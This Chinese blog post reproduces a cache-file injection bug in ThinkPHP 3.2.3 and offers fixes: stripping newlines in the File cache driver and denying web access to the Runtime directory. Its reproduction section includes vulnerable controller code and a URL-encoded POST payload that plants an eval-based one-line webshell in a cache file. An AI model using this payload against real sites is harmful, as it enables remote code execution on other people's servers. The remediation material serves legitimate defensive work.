ThinkPhp3.2.3缓存漏洞复现以及修复建议

我要冲啦个人网站建设2020-08-17php

ThinkPhp3.2.3缓存漏洞复现以及修复建议

 

ThinkPhp3.2.3缓存漏洞复现以及修复建议

今天早上无意间看到thinkphp的缓存漏洞,小编在实际开发过程中用thinkphp3.2.3挺多的。

 

首先我们下载最新的thinkphp3.2.3的框架 搭建好

按照phpoop牛的审计 我们来写代码

  1. <?php
  2. namespace Home\Controller;
  3. use Think\Controller;
  4. class IndexController extends Controller {
  5.  
  6. public function index(){
  7. $a=I('post.a3');
  8. S('name',$a);
  9. }
  10. }

然后我们来post一段代码

a3=%0A%24a%3deval(%24_POST%5b%27a3%27%5d)%3b%2f%2f

 

 

我们可以看到缓存文件已经出现了

至于这个缓存名称

就是

S('name',$a);

中的name的md5

我们来连接这个一句话木马

我们可以看到

这个漏洞是可以利用的但是这个漏洞比较鸡肋

我们在开发的过程种s缓存一般不会用作接收参数的缓存(me就是 接收过来的参数只查询并不进行其他操作)

thinkphp官方手册当中http://document.thinkphp.cn/manual_3_2.html#input_var

详细的讲解了I函数

我们在实际应用的过程当中有详细的解释 比如我们要接收id的时候 id是整数

那么就可以写成I('post.id/d')这样强制转换为整数

实际应用种很少有把接受过来的参数直接缓存起来

 

修复方案也很简单

  1. phpoop牛的方法

打开文件:thinkphp\library\think\cache\driver\File.php

public function set($name, $value, $expire = null) 方法

添加:$data = str_replace(PHP_EOL, '', $data);

  1. /**
  2. * 写入缓存
  3. * @access public
  4. * @param string $name 缓存变量名
  5. * @param mixed $value 存储数据
  6. * @param int $expire 有效时间 0为永久
  7. * @return boolean
  8. */
  9. public function set($name,$value,$expire=null) {
  10. N('cache_write',1);
  11. if(is_null($expire)) {
  12. $expire = $this->options['expire'];
  13. }
  14. $filename = $this->filename($name);
  15. $data = serialize($value);
  16. $data = str_replace(PHP_EOL, '', $data); //新增这句代码 修复代码在这里/***********************/
  17. if( C('DATA_CACHE_COMPRESS') && function_exists('gzcompress')) {
  18. //数据压缩
  19. $data = gzcompress($data,3);
  20. }
  21. if(C('DATA_CACHE_CHECK')) {//开启数据校验
  22. $check = md5($data);
  23. }else {
  24. $check = '';
  25. }
  26. $data = "<?php\n//".sprintf('%012d',$expire).$check.$data."\n?>";
  27. $result = file_put_contents($filename,$data);
  28. if($result) {
  29. if($this->options['length']>0) {
  30. // 记录缓存队列
  31. $this->queue($name);
  32. }
  33. clearstatcache();
  34. return true;
  35. }else {
  36. return false;
  37. }
  38. }

2.在Application\Runtime目录中创建文件.htaccess

  1. <IfModule mod_rewrite.c>
  2. deny from all
  3. </IfModule>

 

文章关键词
ThinkPhp3.2.3
缓存漏洞复现以及修复建议